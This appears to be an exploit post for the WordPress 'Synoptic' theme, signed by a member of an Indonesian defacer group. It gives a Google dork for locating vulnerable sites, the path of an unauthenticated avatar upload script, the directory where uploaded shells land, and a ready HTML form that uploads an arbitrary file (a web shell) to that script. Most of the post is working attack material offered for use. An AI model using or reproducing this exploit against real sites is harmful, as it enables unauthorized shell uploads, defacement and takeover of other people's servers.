Wordpress Themes Synoptic Shell Upload Vulnerability CSRF
Posted on 30 November -0001
<HTML><HEAD><TITLE>Wordpress Themes Synoptic Shell Upload Vulnerability | CSRF</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>################################################################################# # Wordpress Themes Synoptic Shell Upload Vulnerability | CSRF # Author : Berandal # Google Dork: inurl:/wp-content/themes/synoptic/ # Tested on: Win 7, Linux # Blog : http://www.maxteroit.com/ ################################################################################# +-+-+-+-+-+-+-+-+ |B|e|r|a|n|d|a|l| +-+-+-+-+-+-+-+-+ # [!] Exploit : http://127.0.0.1/wp-content/themes/synoptic/lib/avatarupload/upload.php # [!] File Location : http://127.0.0.1/wp-content/uploads/markets/avatars/shellname ################################################################################# #[*] CSRF: ################################################################################# <html> <body> <form enctype="multipart/form-data" action="127.0.0.1/wp-content/themes/synoptic/lib/avatarupload/upload.php" method="post"> Your File: <input name="qqfile" type="file" /><br /> <input type="submit" value="SIKAT!" /> </form> </body> </html> ################################################################################# # [*] ABOUT: ################################################################################# # Facebook: https://www.facebook.com/owlsquad.id # Twitter: https://www.twitter.com/id_berandal # Greetz : All Official Member OWL SQUAD - Hacker Patah Hati - Alone Clown Security - and All Indonesian Defacer. #################################################################################</BODY></HTML>
